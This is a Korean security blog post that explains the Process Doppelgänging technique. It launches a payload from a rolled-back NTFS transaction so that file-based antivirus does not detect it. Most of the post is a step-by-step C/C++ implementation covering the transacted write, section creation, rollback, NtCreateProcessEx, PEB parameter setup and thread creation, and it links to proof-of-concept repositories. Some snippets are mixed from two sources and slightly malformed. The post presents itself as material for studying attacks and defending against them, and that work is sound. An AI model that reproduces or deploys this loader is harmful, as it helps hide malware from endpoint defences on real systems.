Overview

2017년 말에 발표된 새로운 공격 기법으로, 기존의 Injection 방식과는 다른 방식을 사용한다. 특징은 아래와 같다.

  • 파일 기반 탐지 방식 위주의 백신사가 대부분 탐지하지 못하는 공격 기법
  • NTFS 의 Transaction 기능을 이용한다는 점

공격 가능한 대상은 아래와 같다.
  • Windows Vista 부터 Windows 10 이전 (Windows 10 에서는 BSoD 발생)

기존의 잘 알려진 방식의 공격 기법으로는 아래와 같다.
  • Process 를 Creation Flag - Suspended 상태로 생성 후 Payload 내용으로 교체
  • 원격 스레드를 생성하여 Payload 실행

하지만 Process Doppelganging 공격의 핵심은 NTFS 의 Transaction 기능을 이용하는 것이다. Windows NTFS 에서 Transactions 는 하나의 작업 단위로 묶은 것으로, 쉽게 말해 발생한 동작들을 구분하여 저장하는 것이다. 그리고 필요할 경우 이 구분 된 동작의 과정을 되돌리는 것이다. 

// 아래에서 설명할 Code 는 이해를 쉽게 하기 위해 2 개를 혼용한 것이다. 정확한 동작 Code 가 궁금하다면, Reference 의 PoC Code 1, 2 를 보면 된다.


Execute

악성 파일을 생성 후 실행할 때, File I/O 를 Transaction 로 열고 Commit 이 아닌 Rollback 을 한다. 이로 인해 OS 에서는 파일이 생성되지 않은 것이 된다.

사용되는 API 는 아래와 같다.

CreateTransaction
CreateFileTransacted
WriteFile
NtCreateSection
RollBackTransaction
NtCreateProcessEx

필자가 아래와 같이 임의로 5 단계로 나누어 설명할 것이다

Step 1 : open a transaction file i/o
Step 2 : load a payload section from dummy file
Step 3 : create a process
Step 4 : setting PEB
Step 5 : Update PEB and create a primary thread



Step 1 
Transaction File I/O 를 생성하기 위해 먼저, Transaction Object 를 생성한다.

HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr);
if (hTransaction == INVALID_HANDLE_VALUE) {


    std::cerr << "Failed to create transaction!" << std::endl;
    return false;
}

생성한 Transaction Object 를 가지고 Transaction 가능한 File I/O 를 생성한다. 여기서 생성할 File 은 어차피 저장되지 않을 Dummy 파일이다. 

HANDLE hTransactedFile = CreateFileTransactedW(dummy_name,

    GENERIC_WRITE | GENERIC_READ,
    0,
    NULL,
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL,
    hTransaction,
    NULL,
    NULL
);
if (hTransactedFile == INVALID_HANDLE_VALUE) {

    std::cerr << "Failed to create transacted file: " << GetLastError() << std::endl;
    return false;

}

DWORD writtenLen = 0;
if (!WriteFile(hTransactedFile, payladBuf, payloadSize, &writtenLen, NULL)) {
    std::cerr << "Failed writing payload! Error: " << GetLastError() << std::endl;
    return false;

}


Step 2
생성한 더미 파일을 가지고 새로운 Section 을 만들어준다. 이 때 생성한 Section 은 뒤에서 새로운 Process 의 Base 가 된다.

HANDLE hSection = nullptr;
NTSTATUS status = NtCreateSection(&hSection,
    SECTION_ALL_ACCESS,
    NULL,
    0,
    PAGE_READONLY,
    SEC_IMAGE,
    hTransactedFile
);
if (status != STATUS_SUCCESS) {


    std::cerr << "NtCreateSection failed" << std::endl;
      return false;
}

Dummy File 의 내용을 Section 에 Load 하였으므로, 더 이상 Dummy File 은 쓸모 없다. 이제 Transaction 을 Rollback 해주어 Disk 에 Data 가 남지 않게 한다.

CloseHandle(hTransactedFile);
hTransactedFile = nullptr;
if (RollbackTransaction(hTransaction) == FALSE) {


    std::cerr << "RollbackTransaction failed: " << GetLastError() << std::endl;
    return false;
}
CloseHandle(hTransaction);
hTransaction = nullptr;


Step 3
상기의 과정을 통해 Dummy File 로부터 만든 Section 이 존재하며, Dummy File 은 Disk 에 존재하지 않는 상태이다. 이제 Process 를 생성할 것이다. 여기서 일반적으로 Process 를 생성할 때 사용하는 API 는 아래와 같다.

  • CreateProcess
  • WinExec
  • ShellExecute

위 세 가지는 공통적으로 대상 파일의 이름(Path) 을 요구한다. 하지만, Dummy File 은 이미 남아있지 않은 상태이며, 해당 Payload 가 담긴 Section 만이 존재한다. 이를 해결하기 위해 프로세스 생성 과정의 내부를 좀 더 자세히 보면 NtCreateProcessEx 함수가 호출 되는 것을 알 수 있다. 해당 API 는 파일 경로가 아닌 PE 이미지 내용이 담긴 Section 을 필요로 한다.

typedef NTSTATUS(NTAPI *fpNtCreateProcessEx)


{
    OUT PHANDLE           ProcessHandle,
    IN ACCESS_MASK        DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN HANDLE             ParentProcess,
    IN ULONG              Flags,
    IN HANDLE             SectionHandle OPTIONAL,
    IN HANDLE             DebugPort         OPTIONAL,
    IN HANDLE             ExceptionPort OPTIONAL,
    IN BOOLEAN            InJob
}; 






다시 말해, NtCreateProcessEx 함수와 Dummy File 로부터 생성한 Section 을 가지고 새로운 프로세스를 실행할 수 있게 된다.

HANDLE hProcess = nullptr;

status = NtCreateProcessEx(
    &hProcess, //ProcessHandle
    PROCESS_ALL_ACCESS, //DesiredAccess
    NULL, //ObjectAttributes
    NtCurrentProcess(), //ParentProcess
    PS_INHERIT_HANDLES, //Flags
    hSection, //sectionHandle
    NULL, //DebugPort
  NULL,               //ExceptionPort
    FALSE               //InJob
);
if (status != STATUS_SUCCESS) {
    std::cerr << "NtCreateProcessEx failed" << std::endl;

    return false;
}



Step 4
프로세스의 전체적인 Base 를 만들어 준 뒤, 실제 동작할 수 있도록 몇 가지 설정(Parameter, PEB, ETC.)을 직접 해주어야 한다.  우선 새로 생성한 Process 의 PEB 에 접근하여 ImageBase 를 가지고 온 뒤, Step 1 에서의 Payload Buffer 로부터 AddressOfEntryPoint 를 읽어와 더한다.


status = NtQueryInformationProcess(
    hProcess,
    ProcessBasicInformation,
    &pbi,
    sizeof(PROCESS_BASIC_INFORMATION),
    &ReturnLength
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtQueryInformationProcess failed");

    break;
}

status = NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtReadVirtualMemory failed");
break;
}

EntryPoint = (ULONG_PTR)RtlImageNtHeader(payladBuf))->OptionalHeader.AddressOfEntryPoint;
EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress;

public struct ProcessBasicInformation {
    public IntPtr ExitStatus;
    public IntPtr PebBaseAddress;
    public IntPtr AffinityMask;
    public IntPtr BasePriority;
    public UIntPtr UniqueProcessId;
    public UIntPtr InheritedFromUniqueProcessId;
}

 
Process 의 겉모양은 만들어졌지만, 아직 어떠한 프로세스의 이름을 갖는지 등에 대한 정보가 존재하지 않는다. 이러한 Process 의 Parameter 를 설정해주기 위하여 Parameter Block 을 만든다.

//
// Create process parameters block.
//
RtlInitUnicodeString(&ustr, lpTargetApp);
status = RtlCreateProcessParametersEx(
    &ProcessParameters,    // pointer to parameter block.
    &ustr,
    NULL,
    NULL,
    &ustr,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    RTL_USER_PROC_PARAMS_NORMALIZED);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"RtlCreateProcessParametersEx failed");
    break;
}

가지고 온 Parameter Block 을 생성한 Process 에 공간을 할당 후 기록해준다.

//
// Allocate memory in target process and write process parameters block.
//
sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength;
MemoryPtr = ProcessParameters;
status = NtAllocateVirtualMemory(hProcess,
    &MemoryPtr,
    0,
    &sz,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtAllocateVirtualMemory(ProcessParameters) failed");
    break;
}
sz = 0;
status = NtWriteVirtualMemory(hProcess,
    ProcessParameters,     // target memory address
    ProcessParameters,     // buffer
    ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength,
&sz);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtWriteVirtualMemory(ProcessParameters) failed");
    break;
}


Step 5
마지막 단계에서는 위에서 만든 설정들을 실제 PEB 에 연결시킨다.

//
// Update PEB->ProcessParameters pointer to newly allocated block.
//
Peb = pbi.PebBaseAddress;
status = NtWriteVirtualMemory(hProcess,
    &Peb->ProcessParameters,
    &ProcessParameters,
    sizeof(PVOID),
    &sz
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtWriteVirtualMemory(Peb->ProcessParameters) failed");
    break;
}

최종적으로 동작을 실행할 Thread 를 만들어준다.

//
// Create primary thread.
//
hThread = NULL;
status = NtCreateThreadEx(&hThread,
    THREAD_ALL_ACCESS,
    NULL,
    hProcess,
    (LPTHREAD_START_ROUTINE)EntryPoint,
    NULL,
    FALSE,
    0,
    0,
    0,
    NULL
);
if (!NT_SUCCESS(status)) {
    OutputDebugString(L"NtCreateThreadEx(EntryPoint) failed");
    break;


Conclusion

잘 알려진 다른 공격기법에 비해 다소 생소한 API 와 번거로운 과정을 거쳐야 한다는 것을 알 수 있다. 그렇다고 어려운 과정은 아니다. 보안 공부를 하는 입장에서 이러한 기법에 대해 알고 대응 할 수 있도록 해야한다.



Reference

Blog


Source Code
Git - PoC Code 1
Git - PoC Code 2

News





'Reversing > Theory' 카테고리의 다른 글

IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28